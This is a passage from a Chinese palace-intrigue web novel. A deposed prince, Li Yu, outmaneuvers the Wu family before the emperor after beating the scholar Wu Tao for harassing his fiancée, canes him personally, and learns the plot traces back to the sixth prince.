有些人为了求吴涛一个字,可是要费不小的功夫。 结果在李钰这里却只配有一个字来形容。 一个差字,简直是没有把吴涛放在眼里。 但是。 看着那张纸上的字,众人又是沉默下来。 他们实在是不知道该如何评比。 因为相较于李钰刚刚所写的那个字,吴涛的字确实是不够看。 在场的都是各家的大小姐,往日也没有经历过今天这种情况。 对视一眼后,便纷纷动身离开。 甚至有些人也没有理会被打的傅秋月。 她们到底只是普通朋友,今天被邀请到这里来,也是碍于面子。 再加上这傅秋月今天说话确实是过分了一些,为了讨好吴涛,居然暗戳戳的羞辱苏庭雪。 若是因此而得罪了幽王,牵连到她们,实在是无妄之灾。 反观吴涛,此刻因为手受了伤,已经被下人抬着离开此地。 见人陆陆续续离开,傅秋月捂着那张被李钰扇红的脸,神色逐渐变得恶毒起来。 目光更是死死盯着李钰离开的方向。 “近日羞辱,我定当百倍千倍的奉还!” …… “陛下,您可要为臣妾做主啊!” “那幽王,因为您褫夺了他太子之位,性情大变。” “在京城更是肆意妄为,恃强凌弱。” “先有朝廷大员被其当街殴打,现如今又当众将臣妾的弟弟手给打断,实在是目无王法!” “陛下啊!” 后宫,青萝宫内。 吴贵妃此刻跌坐在乾帝身边,哭的是梨花带雨。 这让坐在那里的乾帝也是心疼的很。 “爱妃先起来再说,朕会为你做主的。” 说话间,甚至还亲自动手将吴贵妃给搀扶起来。 被搀扶起来的吴贵妃,此刻也是顺势倒在乾帝胸怀里,呜咽着喊冤。 见状,本就心疼的乾帝,立马朝着殿外守着的太监怒声喊道:“去,给朕将那个逆子传进宫来!” “朕要好好问问他!到底朕如何做他才能消停下来!” 片刻后,殿外就响起了应是声。 见太监去传达旨意,乾帝这才开始哄人。 “爱妃消消气,朕已经让人去传人去了,你放心,朕今天一定给你一个交代。” 听到这话的吴贵妃这才止住了哭声,一抽一抽的抬头看向乾帝,双眼红肿,一副我见犹怜的模样。 “陛、陛下,是臣妾不懂事儿,一会儿幽王若是入宫,您可一定要收着点脾气,万不能责罚太重。” “毕竟没有伤了性命,臣妾只是担心幽王会因此而记恨臣妾,进而牵连泰儿。” “那时候,他们兄弟不和,头疼的还是陛下。” 一听这话,乾帝顿时心疼起来。 “爱妃放心,朕心中有数,倒是难为你,都这时候了还在替朕着想。” “不过你放心,朕今天一定给你讨回这个公道!” 吴贵妃小心翼翼的应了一声,那我见犹怜的样子,让乾帝也彻底沉沦。 只是,此时的乾帝并不知道,吴贵妃心中所想。 今天吴家派人来送了消息,她知道今天这事儿若是操作好了,也能够让李钰吃够苦头。 且吴涛确确实实是受了伤,这一点无可辩驳。 她倒是想要看看,李钰这一次还如何给自己开脱。 …… 幽王府。 得知乾帝要宣自己入宫面圣,李钰就算是不问都知道因为什么。 八成是吴家把状告到了宫里。 “殿下,是不是因为吴涛的事情?” 原本打算离开的苏庭雪此刻一脸担忧的看着李钰,忍不住开口询问了一句。 “不出意外是了,吴家人怎么可能吃亏,更何况还和本王那个六弟有关系。” 神色轻松的看向苏庭雪,李钰宽慰道:“你也不用担心,本王心中有数,这事儿对我来说算不得麻烦。” 虽然说苏庭雪也相信李钰的能力,但今天这事儿对李钰确实是麻烦。 “要不我随你进宫一趟?” 哪料李钰听到这话,则是笑眯眯的看向苏庭雪。 “你在担心我?” 苏庭雪闻言俏脸一红,撇过去脑袋,声若蚊蝇道:“谁关心你了。” 看着苏庭雪那口是心非的样子,李钰哈哈一笑。 “放心,这事儿吴家占不到便宜。” “再者说,那吴涛敢对你有想法,也就是今天机会不多,等有机会我让他这辈子都后悔对你有想法。” 说着,李钰看向陈玉楼。 “送苏小姐回家。” 眼见苏庭雪被送走,李钰脸上的笑容也逐渐消失不见。 扭头看向传旨的太监,语气淡漠道:“前面带路吧。” 那太监也不敢多说,只能老老实实的走在李钰前面。 等到了宫中,那太监刚想进殿内通报,却是发现李钰越过自己,径直朝着殿内走去。 “殿下……” 李钰回头看向太监。 “怎么?本王不能进去?” 那太监张了张嘴,居然不知道该如何回应。 随后就看到李钰不再理会自己,径直走进殿内。 此时大殿当中,乾帝正在轻声安抚吴贵妃。 眼见李钰不经通禀就走了进来,吴贵妃慌忙后撤一步,乾帝见状,脸上当即浮现出一抹怒色。 “逆子!谁让你进来的?” “啊?父皇不是找儿臣吗?难道有人假传圣旨?” 看着李钰那一脸无辜的样子,乾帝顿时被堵了一口气。 “朕是在找你,朕说的是为何你不经过朕的同意,就私自入殿?” “你现在行事如此狂悖吗?” “这不是没人拦着吗,儿臣以为父皇见儿臣是什么着急的事情,既然如此,那儿臣重新进一遍?” 眼瞅着李钰要转身离开重来一次,乾帝担心自己再被气一遍,当即将其喊了回来。 “回来!” “父皇不讲规矩了?” 深呼吸一口气,乾帝却是不想再和李钰纠缠这件事儿,直接切入正题。 “朕问你,工部尚书吴三友之子吴涛的手,是不是你让人打断的?” 李钰冲着乾帝摇了摇头。 “不是儿臣干的。” 第36章 你管不了,本王管! 李钰一脸坦然的看着乾帝,语气平静,丝毫没有撒谎的样子。 见这副模样,乾帝心中莫名涌出一股怒火。 这逆子,睁眼说瞎话的本事日日见长! “不是你干的?那为什么工部尚书吴三友会和朕告状,说是你打断了他儿子的手?” “你可知道,那吴涛是白云书院的士子,文采斐然,名冠京城。” “你将他的手给打断了,知不知道影响有多恶劣?” 面对乾帝的质问,李钰脸上满是茫然。 “父皇,既然工部尚书吴三友要状告儿臣,为何不见他人来?” 乾帝一愣,这才想起来吴三友正在太医院呆着。 “给朕去太医院,将吴三友传来!” 随着乾帝一声令下,立马有太监前往太医院,将吴三友传召过来。 一同前来的还有吴涛。 当这父子二人走进来的时候,李宽目光落在吴涛身上,当即做出一副吃惊的样子。 “是你?” 那吴涛见李钰这幅样子,心中不免有些担心,李钰又会殴打自己。 下意识的就缩了缩身子。 但转念间,吴涛就意识到自己现在是在宫里,李钰绝对不敢打自己。 不由得,吴涛的底气就壮了几分。 “殿下居然还记得学生,您在茶楼那猖狂的样子,可不像是会惊讶的样子。” 见两人这副模样,乾帝阴沉着脸看向李钰。 “幽王,现在你可想起来了?” 闻言,李钰点了点头。 “儿臣确实是打断了此人的手,不过并不知道他就是吴涛。” 见李钰承认的如此痛快,乾帝还愣了一下。 但也就是这愣神的一瞬间,李钰却是转头看向乾帝。 “父皇,儿臣要状告工部尚书吴三友,教子无方,凌辱皇子之罪!” 顷刻间,殿内一片寂静。 就连那原本小声抽泣的吴贵妃,这时候也动作一滞,目瞪口呆的看向李钰。 传召李钰入宫,就是为了问罪。 谁能想到他李钰开始倒打一耙了? “朕让你来,是问你为何打人,你怎么还告上状了?” “吴涛才德兼备,又能做出什么过分之举,依朕看这件事儿就是你故意为之!” “真要朕对你用皇法,你才肯承认自己错了不成?” 此刻的乾帝根本不关心李钰为何要打断吴涛的手。 在他看来,千错万错也是李钰的错。 尤其是这段时间里,李钰行事猖狂,打断吴涛的手也不是不可能。 见乾帝站在自己这边,吴涛心中也是开心的很。 目光狠狠的撇了一眼李钰之后,便躬身朝着乾帝行了一礼。 “陛下,学生不过是在茶楼品茶论诗,手书了一份幽王殿下的诗作而已。” “可谁知幽王殿下心胸狭隘,听不得他人议论,愤慨之下打断了学生的手。” “并且还题字在学生的字帖上,言行颇为轻蔑,此等当众羞辱学生之举,实在是有失皇家颜面。” 等到那吴涛说完之后,站在那里未曾说话的吴三友这时候也开了口。 “陛下,幽王身为皇嗣,一言一行都代表了皇室脸面。” “近些日子,这幽王殿下行事乖张,目无法纪,时长做出狂悖之举。” “今日不仅仅是将臣之犬子的手腕打断,更是当众扇了国子监监正傅子丰之女一耳光。” “此举实在是过分至极,还请陛下严惩。” 吴家父子你一言我一语的站在那里例数李钰的罪行。 听得乾帝是怒火中烧,目光狠狠看向李钰。 “逆子!你到底要干什么?” “真以为你有功于朝廷,朕就不敢处置你了吗?” 这一次盐商一事,李钰站出来给朝廷上下擦屁股,应该是有功才对。 谁知道这李钰转眼间就做了这么多破事儿。 让乾帝有种恃宠而骄的感觉。 面对乾帝的质问,李钰却是不慌不忙。 “父皇若是不分青红皂白,只想要处置儿臣,那儿臣自然无话可说。” 见李钰这么说,乾帝怒极。 “你这话是什么意思?你还喊冤了?” “笑话,儿臣是父皇的儿子,也是大乾子民,难道就没有喊冤的资格?” 被怼了一句的乾帝,脸色有些难看。 气极反笑道:“好好好!朕倒是要听听你有什么冤屈!” “那儿臣可就说了。” 李钰扭头看向吴涛,只是一个眼神,那吴涛就瞬间退缩了起来。 见状,李钰冷笑一声。 “吴公子,你说本王因为你评论本王的诗作而打你,看来你这顿打挨得还是有点效果的。” “你可敢说说你是如何评价贬低本王诗作的吗?” “你能拿出证据证明这诗作不是本王的吗?” “既然拿不出来,本王为何不能揍你?” 吴涛张了张嘴,最终没有说出话来。 他确实是没有证据证明这诗作不是李钰的。 见吴涛不说话,李钰接着说道:“在一个你那一手破字,也就吓唬吓唬没见过世面的文人。” “本王嫌弃你所写的字有辱本王诗作,这没毛病吧?” “还是说你那一手字能超过本王?” 只见那吴涛顷刻间涨红了脸,看着李钰怒目而视。 “怎么?本王说错了?” 乾帝看着吴涛被李钰怼的哑口无言,一时间也是有些奇怪。 李钰的字他见过,不能说差,但绝对算不上顶尖的好字。 比之吴涛应该是差一些才对,怎么看着吴涛的样子,似乎在可以回避这个? 难不成这李钰的字有精进? 见自己儿子被压制,吴三友插嘴道:“殿下的字是不错,但也不能因此而打了犬子吧?” “你可闭嘴吧!” 吴三友这边刚刚说出一句话,就被李钰无情打断。 “吴大人,你好歹也是朝中重臣,执掌户部的尚书大人。” “在京城那也是有头有脸的人物,代表的更是朝廷的脸面。” “你瞧瞧你这儿子教的,目无尊上,恃才而骄,他要是真有才也就算了,关键一桶水不满半桶水晃荡,你还真当个宝贝在那里供着。” “本王问你,成国公之女苏庭雪是本王的未婚妻,这事儿满京城上下谁人不知?” “你吴大人知不知道?” 听到这话的吴三友茫然的点了点头。 “老臣当然知道。” “既然知道,为何要鼓动你那不成器的儿子,骚扰本王的未婚妻?” “本王今天还就告诉你了,就算是父皇偏袒你们,本王也把话放在这儿。” “你要是管不了吴涛,本王亲自管!” “到时候断胳膊断腿,甚至断子绝孙的时候,你也不要后悔!” 第37章 死罪可免,活罪难逃 骚扰幽王的未婚妻? 吴三友错愕的看着自己的儿子,一时间有些不知道该相信谁。 而吴涛此刻脸上慌乱一闪而逝,盯着李钰怒声道:“一派胡言!” “学生和苏小姐两情相悦,是你幽王蛮横无理,何来学生骚扰苏小姐一说。” 此话一出,殿内众人也是愣了一下。 吴三友的脸色更是精彩的很。 错愕愤怒以及被戏耍后的茫然。 便是不问都知道,苏庭雪这事儿,吴涛没有和吴三友提起来过。 乾帝哑然,吴贵妃也是瞬间沉默下来。 唯有李钰一脸讥讽的看着吴涛。 “两情相悦?看样子本王打的还是轻了。” 说话间,李钰就开始当着众人的面开始解开腰带。 不等众人回过神来,那李钰已经单手将腰带缠上,朝着那吴涛狠狠抽了过去。 “啪!” “啊!” 伴随着吴涛一声惨叫,众人这才回过神来。 乾帝见状脸色骤变。 “住手!逆子!” 然而,李钰这时候压根没有听乾帝的话,抬手就又是一下。 终于回过神来的吴三友,也是慌乱间挡在李钰和儿子中间。 “殿下!你还有没有规矩?” “给本王滚开!看本王今天抽不抽死他就完了!” “吴大人,若是抽到了你,你可别给本王叫唤!” 一时间,大殿内乱作一团。 吴三友挡在中间,左右格挡,李钰手中的腰带几次差点落下。 要知道,李钰身为亲王,身上穿着都是有规制在的。 那腰带是用金玉制作,重量很大。 抽在人身上并不比鞭子差。 只是抽中了几下,那吴涛身上的衣服就被撕裂。 眼瞅着情况有些失控,乾帝也是立马下令,让太监将众人分开。 等到好不容易消停下来,那吴涛身上已经又添了好几处新伤。 乾帝稍松了一口气,正打算扭头和李钰说话,却见那李钰一把将搀扶自己的太监推开。 “父皇!您要为儿臣做主啊!” “苏庭雪乃是儿臣的未婚妻,这吴涛胆大妄为,觊觎王妃!” “今日他敢这么做,明日就敢窥伺皇位,他吴家还有什么不敢干的?” 听到这话的吴三友,原本还在抱着自己的儿子心疼,但下一秒听到这话之后,脸色瞬间一变。 一瞬间连儿子也顾不上来,双手一松,便朝着乾帝跪地喊冤。 “陛下明鉴!臣绝对没有不臣之心啊!” 吴贵妃此刻也没有想到,原本占理的一件事,最终却变成了这个样子。 看向吴涛的眼神也多了几分冷色。 这个成事不足败事有余的东西! 心中暗骂一句,吴贵妃也是抱着乾帝的胳膊开始求情起来。 “陛下息怒,吴家绝对没有这个意思的。” 其实也不是吴贵妃等人敏感。 别看乾帝整日里行事昏聩,但也分时候。 比如事涉皇权的时候,乾帝就比任何时候都清醒。 李钰刚刚那句话看似是随意攀咬,但乾帝极有可能当真。 看着跪在地上喊冤的吴三友,乾帝也是一阵头疼。 “先起来,还嫌不够乱吗?” 听到这话,吴三友这才战战兢兢的站起身来。 乾帝扫了一眼吴三友,又扭头看向李钰。 “幽王,朕问你,你说吴三友窥伺苏庭雪,可有证据?” 此问一出,殿内众人齐刷刷看向李钰。 乾帝这么一问,显然是想要和稀泥了。 如果李钰拿不出来罪证,那最后乾帝必然是各打五十大板。 虽然说没有达到目的,但只要不牵连吴家,那也是很好的。 吴贵妃眼底浮现出一抹喜色。 而不等李钰开口回答,那殿外却急匆匆跑进来一名太监。 “陛、陛下!国子监监正傅子丰求见!” 听到傅子丰来了,乾帝也是愣了愣,而吴三友则是面露喜色。 傅子丰之女傅秋月也是被李钰打了,看样子现在来是告御状来了。 虽然说吴家和傅家关系不深,但今天这情况倒是可以联手一下。 “宣吧。” 乾帝看了一眼李钰,心中也想着要给李钰一个教训,以为那傅子丰就是来告御状的。 因此心中莫名多了几分期待。 只要今天能压李钰一头,他这个做父皇的,倒是也高兴的很。 不过片刻,傅子丰就走了进来。 那傅子丰已经年逾六十,老来得女很是心疼。 今天入朝,脸色却一脸凝重。 朝着乾帝行了一礼之后,那乾帝这才开口询问起来。 “傅爱卿见朕,所为何事啊?” “陛下,臣入宫是有事启奏。” 说话间,傅子丰还看了一眼李钰。 “此事恰好和幽王有些关系。” 来了来了! 听到傅子丰这话,在场之人除了李钰之外,全都面露期待之色。 只见那傅子丰一撩衣袍,跪倒在地上,朝着乾帝叩首道:“陛下,臣教女不严,做下昏聩之事,惊扰了幽王,以至幽王失了礼法,还请陛下降罪。” 此话一出,乾帝脸上的期待之色瞬间消失不见,取而代之的则是一脸的错愕。 就连那吴三友也是如此。 这傅子丰怎么听起来像是给李钰开脱一样? 李钰看着跪在前面的傅子丰,眼底也浮现出几分好奇。 “傅爱卿,你说什么?朕怎么有点听不明白?” 那傅子丰低着脑袋,解释道:“陛下,臣之女傅秋月,受吴家子吴涛蛊惑,将成国公府小姐苏庭雪约出品茶,却并未告知苏庭雪,吴涛会来。” “原本是一场闺中密友相会,无端多了一名男子,苏家小姐苏庭雪就想要离席,但却被小女阻拦。” “席间,吴涛对苏庭雪多有调戏之言,幸而幽王路过,出手才将苏庭雪以及其他几位府上的小姐救出。” “臣已经将小女禁足府中,但考虑到苏庭雪是未来幽王府王妃,事关皇室清誉,所以臣还是入宫请罪。” 听到这里,乾帝算是彻底明白过来傅子丰来这儿到底是什么意思了。 他不是来帮助吴家说话的,而是来请罪的。 这一番解释,也让乾帝彻底没了处置李钰的理由。 人家是为了保护未婚妻才出手的。 反倒是吴涛这人,不顾礼法,肆意妄为,被教训之后还倒打一耙。 这事儿不说开了还好,一说开乾帝就没有办法偏袒了。 最重要的是,傅子丰这个国子监监正! 他要是一门心思怼上来,乾帝也得招架一二。 “这……” 见乾帝有些为难,李钰也随即站了出来。 “父皇,傅大人所言,便是证据,臣请严惩吴涛,万不能助长这等肆意抹黑皇室宗亲的行为!” 乾帝一脸为难的看了看吴家父子,又看了看李钰。 “你想如何处置?” 李钰嘴角一勾。 “依照律法,犯上者依据轻重,可判杖刑以及死罪。” 听到这话,吴三友顿时一个激灵,那吴涛更是脸色苍白起来。 不屑地看了一眼吴家父子,李钰缓缓道:“吴涛之罪罪不至死,臣以为判个杖刑即可。” “就五十大板吧。” 第38章 亲自执刑 说这话的时候,李钰还是一副宽宏大量的样子。 吴三友看的却是恨得牙痒痒。 “陛下!臣子虽有过错,但罪不至死!” “以臣子现在的情况,如果真的是五十大板,怕是要被打死了!” “还请陛下法外开恩!” 栽赃是不能栽赃了,现在还是保命要紧。 吴三友这一番话,也是在提醒吴贵妃。 只见那吴贵妃也是抱着乾帝的胳膊,求情道:“陛下,臣妾这弟弟已经断了一只手了,已然是给足了教训,若是再来杖刑,恐怕有性命之危啊。” 见乾帝有些犹豫起来,李钰不由得撇了撇嘴。 耳朵根子这么软,你当什么皇帝啊? “父皇,吴贵妃这话还是说的不对,如果断手长记性的话,吴涛也不会在宫中颠倒黑白,污蔑儿臣了。” “儿臣请父皇秉公决断!” 见李钰坚持要行刑,乾帝也是为难起来。 如果不按照李钰的话来,鬼知道他还要整什么幺蛾子。 犹豫再三后,乾帝才开口道:“吴涛毕竟有错在先,不罚不行。” “但念在其已经受伤,不能重罚,就改成杖刑二十吧。” 乾帝开口,这事儿也就不好改变了。 只是乾帝原本以为李钰会因此知难而退,却不曾想李钰又站了出来。 “父皇,儿臣请求亲自行刑!” 闻言,所有人都齐刷刷的朝着李钰看去,一时间也是诧异的很。 乾帝想要拒绝,但话还没有说出口,李钰就率先说到:“儿臣这么要求也是有原因的。” “宫中禁卫行刑,多少会有所顾忌。” “毕竟吴大人也是当朝二品,他们担心事后被吴大人报复,行刑时多有放水。” “但儿臣不同,儿臣定当秉公执法,维护父皇的颜面。” 满脸错愕的看着李钰,吴三友险些骂出声来。 什么维护皇上颜面? 你就是嫌我儿子死的不够快! 乾帝见李钰坚持,也担心这李钰不会轻易放弃,把自己好不容易维持的局面打破,便也只能硬着头皮答应下来。 “既然如此,那就由你来执行吧。” “儿臣谢父皇恩典!” 乾帝颇为烦躁的摆了摆手,那李钰这才领命带着禁军将那吴涛拖拽出去。 吴贵妃看着乾帝,神色间有些焦急。 “陛下为何要答应幽王的要求?他如果动手,臣妾的弟弟哪里还有活路?” 见吴贵妃有些着急,乾帝急忙安慰道:“爱妃稍安勿躁,李钰他自幼没有做过强身健体的事儿,身体不能说是孱弱,但绝对没多大气力。” “宫中行刑的木杖他根本用不动,即便是打也难以对吴涛造成伤害。” “再者,朕会吩咐人,给吴涛做好准备的。” 听到这话,吴贵妃这才松了一口气,随后面带委屈道:“臣妾也知道陛下难做,都怪那幽王,揪住不放,让大家都难堪。” 乾帝讪讪一笑。 他确实是不喜李钰这一点,揪住一点机会就往死里用,也不知道为什么突然变成了这副模样。 “爱妃宽心,日后有机会,朕定会重重的责罚他。” 吴贵妃微微点了点头,虽然说心中有些布不甘,但她也知道分寸,若是逼迫紧了,惹得乾帝厌恶,那可就得不偿失了。 …… 此时大殿外。 行刑的地方已经准备好了。 吴涛被太监搀扶着趴在地上,临走之时在其耳边低语了一句。 只见那吴涛听过之后,原本还有些害怕的表情,此刻也舒展了一些。 李钰看在眼里,心中冷笑。 结合前身记忆,再有自己两世为人的经验,这太监绝对是帮了吴涛。 指不定是在吴涛屁股上垫了东西。 但如果指望这样就像让自己收拾不了吴涛,那也未免太过小瞧自己了。 “老子今天就让你们瞧瞧,什么叫做举轻若重!” “上辈子闲着无事练了练,倒是没想到今天用上了。” 嘀咕了一句,李钰接过来禁军递给自己的刑杖,来到吴涛跟前,蹲下看了一眼对方。 “吴涛,今日本王就让你知道知道,得罪本王的下场!” 说这话的时候,李钰的声音很低。 再外人看来似乎在说什么安抚的话。 随后,李钰便站起身来,手中刑杖高举,接着就朝着吴涛的屁股落了上去。 李钰的动作看着幅度不大,单纯看着力道也不是很大。 外人看来,李钰这一下子并不算重,就连落在那吴涛的屁股上时都没有多大动静。 但吴涛此刻却发出一声惨叫! “啊!” 看着这一幕,在场的人无不是面露感慨。 “这幽王殿下还是有分寸的,瞧这力道,不像是很重的样子。” “啧啧~要我说还是吴公子厉害,就这一下,不知道幽王要杀了他呢,那屁股上可还垫着呢,哪里有这么痛。” “废话!不惨点,如何栽赃幽王殿下?” 周围众人看着李钰行刑,低声议论起来。 而李钰却不加理会,只是专心行刑。 那惨叫声,真真是让人心惊胆战。 就连大殿内的乾帝等人也是面露迟疑之色。 “这臣妾弟弟如此惨叫,陛下当真无事?” 乾帝犹豫了一下,开口道:“朕已经吩咐过了,想必是那吴涛自己故意如此,免得被老大怀疑。” 吴三友此刻也是不敢插话,只是眉头紧锁不知如何是好。 这煎熬的惨叫声持续了也不知道多久,才渐渐停歇下来。 等了片刻之后,李钰便再次走了进来,身后还跟着几名太监,合力抬着吴涛。 “父皇,儿臣前来复命。” 听到这话的乾帝,却是没有将目光落在李钰身上,而是看向李钰身后的吴涛。 只见那吴涛此刻脸色苍白,趴在担架上一动不动。 但真正吸引人的,还是那吴涛早已被血浸透的屁股,血色渗人无比。 “吴涛如何了?” 那守在一旁的太监,心惊胆战的看了一眼李钰,随后躬着身子道:“回禀陛下,吴公子在第五棍的时候,就已经昏死过去了。” “嘶!” 乾帝倒吸一口凉气。 旋即看向李钰。 眼神中尽是不敢置信的神色。 “你哪里来的这么大力气?” 李钰眨了眨眼睛,开口道:“父皇,儿臣没用力啊,您若是不相信,大可问问观刑的太监。” 闻言,乾帝扭头看向那太监。 “幽王当真没有用力?” 只见那观刑的太监满是犹豫的看了一眼李钰,见其笑眯眯的样子,也不由得吞了吞口水。 随后躬身回应了一句。 “回禀陛下,幽王确实是没有用力,起码观刑时,幽王的样子不像是用力的样子。” 第39章 这就是故意的 观刑的太监也是无奈。 他们确实是没看到李钰用力,但偏偏就是这没用力的打法,直接让吴涛皮开肉绽。 他们在行刑完毕之后,还专门上前看了看。 那吴涛的裤子已经被打烂,和皮肉粘在了一起。 就李钰这一手,每个十年八年的可练不出来。 也不知道这位太子殿下到底哪里学来的。 乾帝见问不出个所以然来,蹙眉看着昏死过去的吴涛。 “送到太医院去,让太医尽力救治。” 太监点了点头,随后急忙将吴涛抬了下去。 那吴三友此刻也没了和李钰争辩的功夫,跟在后面追了出去。 只是在路过李钰的时候,眼底闪过一抹恨意。 眼瞅着吴涛被抬了下去。 乾帝看向傅子丰。 “傅爱卿,既然你已经处置了自己的女儿,朕也就不便过多责罚了。” “这事儿就到此为止吧。” 傅子丰却是没有回答乾帝的话,而是看了一眼李钰。 那眼神,意思再明显不过了。 这事儿李钰不点头,谁都不要想结束。 虽然说不知道为什么傅子丰会这幅样子,但李钰还是给了老头一个台阶。 “傅大人深明大义,儿臣也是佩服的很,那傅秋月也不过是受人蛊惑,并非主犯,有傅大人教训过了,那儿臣也就不追究了。” 一听这话,乾帝也不由得嘴角抽了抽。 无论是傅秋月还是吴涛,两人全都没有占到任何便宜。 怎么李钰这话说出来,好像他吃了多大亏一样? 傅子丰这时候也是躬身道:“多谢陛下恩典,老臣告退。” 见乾帝一脸不耐烦的摆了摆手,傅子丰这才退了下去。 见终于是消停下来,乾帝目光冷冷的看着李钰。 “怎么样?这气你算是出了吧?” 李钰笑着点了点头。 “多谢父皇主持公道。” 看着李钰的样子,乾帝就气不打一处来,但他也知道占理自己都弱李钰三分,今天这事儿再纠缠下去可就没完没了了。 万一将自己气出个好歹来,那可就得不偿失了。 “今日这事儿全都是因你那诗作而起。” “京城上下对你议论颇多,这诗作到底是不是你写的朕不过问,但有件事儿朕要同你说一说。” “再过一段时间,万寿宫就要修建完成了,朕闭关在即。” “按照规矩,这万寿宫建成之日,朝臣百官是要给朕敬献贺表的。” “朕打算今年让诸位皇子也参加进来,你明白朕的意思吧?” 李钰当然不相信乾帝会好心到帮助自己正名。 但贺表这事儿他都拿出来说了,李钰也没有拒绝的理由。 因为哪怕自己到时候去了宣化,这贺表该有还是要有的。 神色淡淡的看了一眼乾帝,李钰应道:“儿臣知道了。” “儿臣保证那日给父皇一篇漂漂亮亮的贺表。” 闻言,乾帝也是颇为满意的点了点头。 只要李钰写了,无论好坏都代表他已经服软了,外界对自己欺凌太子的谣言也会终止。 不过这贺表如果写的不好,倒是也给了自己处置李钰的理由。 自己这诸多皇子之中,老六还是有点本事的。 “若是无事,就退下吧。” 李钰点了点头,没有丝毫拖泥带水的转身离开。 出了宫,李钰就直奔成国公府。 自己虽然没事儿,但老是被苏庭雪挂念也不太好,还是要其安心才行。 等李钰来到成国公府的时候,却发现这府外还停着一辆马车。 “殿下。” 成国公府的管家朝着李钰行了一礼。 “小姐早早就在等宫里的消息了,看殿下的样子似乎是没什么大碍。” “眼下小姐在花园等候,殿下自己便可过去。” 李钰点了点头,倒也没有客气。 几次交流下来,成国公府上下已经对李钰这位姑爷颇为认可了。 而且成国公府李钰也来了好几次了,内里的布局他也清楚。 等到李钰来到后花园的时候,却意外发现,傅子丰也在后花园的凉亭里。 老头正在和苏老夫人用茶,而苏庭雪则是在一旁烹茶。 见李钰走了进来,苏老夫人和傅子丰也是起身见礼。 “见过幽王殿下。” 李钰笑着点了点头,回了一礼后,才满是好奇的看向傅子丰。 “傅大人您怎么在这儿?” “怎么?殿下不欢迎老夫?” 看着傅子丰的样子,李钰却是摇了摇头。 “倒也不是不欢迎,只是今日看到傅大人你有些意外罢了。” 苏老夫人见状,解释道:“傅大人今日登门,其实就是来道歉来了。” “傅大人和老国公是故交,我们两家也常来常往,这一次因为秋月受人蒙蔽,犯下过错,傅大人已经全和我们解释过了。” 听了这番解释的李钰似笑非笑的看向傅子丰。 “傅大人倒是动作快得很啊。” 傅子丰摇了摇头。 “若是不快,老夫怕不是得变成一些人的刀了。” 说着,傅子丰看向李钰。 “此处也没有外人,殿下不必防备着老夫。” “殿下难道不觉得今日这事情很是诡异吗?” “那吴涛怎么就偏偏在您逛街到了茶楼下的时候,大放厥词?” 闻言,李钰看着傅子丰眯了眯眼。 “傅大人想说什么?” “殿下,这京城想要您死的人可不在少数。” 傅子丰轻飘飘的一句话,让正在烹茶的苏庭雪手微微一颤,看向李钰的眼神也多了几分担忧。 给了苏庭雪一个放心的眼神,李钰这才看向傅子丰。 “傅大人是说,今天这事情,是吴家故意谋划的?” 傅子丰点了点头。 “老夫问过那不成器的姑娘了,她说吴涛答应她,只要将苏庭雪约出来,那他就和家中长辈说提亲一事。” “傅秋月她就这么相信了?” 听到李钰这么说,傅子丰也是难得老脸一红。 轻咳一声,稍稍掩饰了一下尴尬。 “吴涛和她不止一次说过,吴家只想对付殿下你,因为他们和六皇子走的很近。” “吴涛这么做,或许有吴三友授意,但这一次他们显然是错估了殿下,这才没有成功。” “不过老夫还是要提醒殿下一句,你讲吴涛打成那个样子,吴三友断然不会放过你的。” “他能坐上工部尚书这个位置,靠的可不仅仅是吴贵妃的关系。” 第40章 本王全都知道 大乾官制,六部尚书是正二品官职,也是朝堂上唯一有实权的最高官职。 再往上那都是虚衔,听着吓唬人,实际上没什么权力。 所以说,吴三友这个工部尚书是很有含金量的。 如果只是靠着关系,怎么也不可能稳坐工部四年时间。 其实按照李钰前身的记忆来看,这位也不是什么平庸之辈。 这些年里,仗着六皇子的身份,没少和自己作对。 关键前身还没有抓到对方的把柄。 看了一眼傅子丰,李钰眼底精光一闪。 “多谢傅大人提醒,本王知道了。” 傅子丰颔首微笑,却也没有再多说什么。 有些话点到为止就好,说多了反倒是对自己不利。 他虽然不是六皇子的人,但也不是李钰的人。 能说这些已经是够意思了。 “殿下明白就好,如此老夫就告辞了。” 起身行了一礼,傅子丰随即动身离开。 直到那傅子丰离开之后,苏老夫人才看着李钰说道:“傅大人话,还望殿下记住,现在是多事之秋,还是小心为上的好。” 说着,苏老夫人看了一眼身边的苏庭雪,意味深长道:“老身有些乏了,你们年轻人聊吧。” 见两位长辈一前一后的离开,李钰这才笑眯眯的坐到了苏庭雪的身边。 骤然间两人距离如此近,苏庭雪下意识的就要移开身子。 但却被李钰一把拉住。 “见我你躲什么?” 苏庭雪低着脑袋,声若蚊蝇道:“男女有别,还望殿下自重。” “既然如此,那我就远一些。” 说着,李钰就要起身,但苏庭雪下意识的抬头阻拦了一下。 “殿下!” 仰头间,恰巧和李钰的眼神对上,看着李钰那似笑非笑的眼神,苏庭雪瞬间意识到自己是被耍了。 看着俏脸通红的苏庭雪,李钰笑眯眯道:“怎么?又舍不得了?” 说笑间,李钰又坐了回去。 自顾自的拿起苏庭雪分好的茶喝了一口。 “不错,没想到你茶道也是如此精通。” 被李钰夸赞了一句的苏庭雪渐渐冷静下来,心中微甜。 “殿下,你今天入宫,陛下有没有为难你?” 李钰失笑一声。 “如果不为难我,那还是皇上吗?” “不过今天我也给了吴家人一个教训。” 说着,李钰就把今天亲自行刑的事儿说了一遍,苏庭雪听了之后,也是一脸诧异,但随后又有些担心起来。 “虽然说出了一口气,但这么做岂不是要和吴家不死不休?” “早就是不死不休了。” 李钰冷笑一声。 “从我不做太子的那一刻开始,就已经和六皇子不死不休了。” “我只要活着,无论谁做太子都会杀了我。” “我那六弟,心思沉着呢。” 神色诧异的看了一眼李钰,苏庭雪开口道:“殿下早就知道这事儿和六皇子有关系?” 李钰点了点头。 “只是没有证据罢了,现在有了傅子丰的解释,那就一切都说得通了。” “如果我今天不救你,六皇子的人就会坐实了诗作是我抄袭,身败名裂下,我哪里还有什么活路?” “既然如此,为什么不做的狠一点。” “他吴家忍下去了我还敬他是一条汉子,但忍不下去了,本王也也不介意送他们吴家一程。” 见李钰这么说,苏庭雪脸上也满是担忧之色。 “早知道如此,就应该早早劝说殿下先去宣化,起码要比在京城安全多了。” 见苏庭雪这么说,李钰微微一笑,开口道:“放心,手头的事儿忙完,咱们就去宣化。” 苏庭雪羞涩的点了点头。 早在上次李钰兑现承诺,将虎贲营的兵符带回来的时候,苏庭雪就发誓这辈子非李钰不嫁。 虽然嘴上不承认,但心中已经将自己和李钰视为一体了。 